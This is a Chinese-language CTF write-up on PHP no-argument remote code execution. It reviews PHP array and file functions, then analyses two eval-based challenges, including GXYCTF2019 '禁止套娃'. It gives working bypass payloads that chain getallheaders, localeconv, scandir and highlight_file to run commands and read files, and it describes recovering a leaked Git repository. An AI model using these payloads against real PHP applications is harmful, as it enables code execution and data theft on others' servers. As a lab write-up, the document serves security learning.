scandir() :函数返回指定目录中的文件和目录的数组。
dirname() :函数返回路径中的目录部分。
chdir() :函数改变当前的目录。
通常我们获取到的很多情况下是数组,所以有时候比较依赖对数组的操作,比如:
– array_reverse():数组反转
– pos():输出数组第一个元素
– next():指向数组的下一个元素,并输出
…
随后是一些文件读取显示的操作:
– show_source() – 对文件进行语法高亮显示。
– readfile() – 输出一个文件。
– highlight_file() – 对文件进行语法高亮显示。
– file_get_contents() – 把整个文件读入一个字符串中。
– readgzfile() – 可用于读取非 gzip 格式的文件
知识补充
`current ()`
获取数组内部指针当前指向的元素,数组刚创建时,指针默认在第一个元素,所以刚创建的数组用 `current()` 等于取第一个元素
`end ()`强制把数组指针移动到最后一个元素,返回最后一个元素的值
`getallheaders()`
几乎只能在 Apache + mod_php 环境下使用,Nginx、CLI、其他服务器都不支持
获取当前 HTTP 请求的所有请求头信息,并以关联数组形式返回。
var_dump()
用于打印内容
代码
<?php
var_dump("hello world"); //打印字符串
var_dump([1, "test", true]); //打印数组
?>
结果
string(11) "hello world"
array(3) {
[0]=>
int(1)
[1]=>
string(4) "test"
[2]=>
bool(true)
}
`get_defined_vars ()`
返回当前作用域内已定义的全部变量,以关联数组形式输出键值对
返回的内容
超全局变量
`$_GET`、`$_POST`、`$_COOKIE`、`$_SERVER`、`$_FILES`
当前作用域的自定义变量
你定义的 `$a``$b``$flag`
当前函数内的局部变量(如果在函数里调用)
使用涉及`session_id()`读取请求包中的session值时,注意是在请求包含session值以及先开启`session`(要先`session_start()`)才能用
源码分析
<?php
include ("get_flag.php");
function hello_code($code){
if(';' === preg_replace('/[^\\W]+\\((?R)?\\)/', '', $code)){
eval($code);
}else{
die("O.o");
}
}
isset($_GET['code']) ? hello_code($_GET['code']) : null;
highlight_file(__FILE__);
?>
/[^\\W]+\\((?R)?\\)/
只允许「不带参数的函数调用」
分隔符:/ 是正则边界,不算规则
\\W = 非单词字符(等价 [^a-zA-Z0-9_])
[^…] = 取反,不匹配里面的字符
所以 [^\\W] = a-z A-Z 0-9 _,也就是:只能是函数名合法字符
+匹配一次或多次,函数名必须至少有 1 个字符
\\( 转义后的左括号 (
(?R)? 递归调用整个正则表达式,? = 匹配 0 次 或 1 次
\\) 右小括号 )
preg_replace('/[^\\W]+\\((?R)?\\)/', '', $code)
preg_replace(正则, 替换成什么, 目标字符串)
含义:
在 $code 里,找到所有「合法函数调用」,把它们替换成 空字符串(删掉)
从内而外进行匹配
a(b(c()));
第一次匹配后就还剩下a(b());,第二次匹配后就还剩a();,第三次匹配后就还剩;
操作
使用?code=phpinfo();,发现成功绕过校验
使用?code=var_dump(getallheaders());获取到了请求头信息
我们并不需要多条内容,可以选取其中的前端/末尾信息进行修改,或者在前端/末尾添加新的请求头信息,由于以字符串的形式取出值而不会取出键,所以健名可以随便取
这里演示修改取值,另外的添加目前没有尝试成功,可以参考一下提供文章的师傅的思路
定位信息
1.1修改信息,current表明的是当前指针所指的位置,注意这题并没有像初始化指向最前面,而是指向末尾
1.2使用eval()执行current(getallheaders())拿到的值system("ls");
?code=eval(current(getallheaders()));
1.3执行命令,获取flag
补充
localeconv() 函数返回一个包含本地数字及货币格式信息的数组
第一个元素的值为 . ,点代表的是当前目录
取出 .
scandir()
是 PHP 用来列出指定目录下的所有文件和子目录的函数,返回一个包含文件名的数组
Array
(
[0] => .
[1] => ..
[2] => index.php
[3] => config.php
[4] => images
)
. = 当前目录
.. = 上一级目录
后面是当前文件 / 文件夹
使用scandir() 列出当前目录下的所有文件和子目录
[GXYCTF2019]禁止套娃
由于开始没有发现什么信息,用dirsearch进行目录扫描
访问后得到以下信息,是Git 仓库的配置文件,考虑存在 Git 泄露
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
使用GitHack恢复网站源码,得到index.php
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\\/\\/|filter:\\/\\/|php:\\/\\/|phar:\\/\\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\\((?R)?\\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>
/data:\\/\\/|filter:\\/\\/|php:\\/\\/|phar:\\/\\//i
/ … /:正则定界符
\\/\\/:转义后的 //(正则里 / 要写 \\/)
|:或(任意一个匹配就触发)
i:忽略大小写(PHP:///PhAr:// 也拦)
/[a-z,_]+\\((?R)?\\)/
PCRE 递归正则,PHP 里用来强制 “只能无参数函数嵌套”
a-z:小写字母
,_:逗号、下划线
+:一个或多个
→ 匹配:函数名
(?R):递归整个正则本身
?:递归 0 次或 1 次
使用var_dump(localeconv());
拿到第一个元素的值
使用scandir()列出当前目录下的文件,以文件名构成的数组形式返回
使用array_reverse()将整个数组倒过来
使用next()将内部指针指向数组中的下一个元素,并输出
var_dump () 打印变量 / 数组
highlight_file () 高亮显示一个文件的源代码
highlight_file(next(array_reverse(scandir(current(localeconv())))));

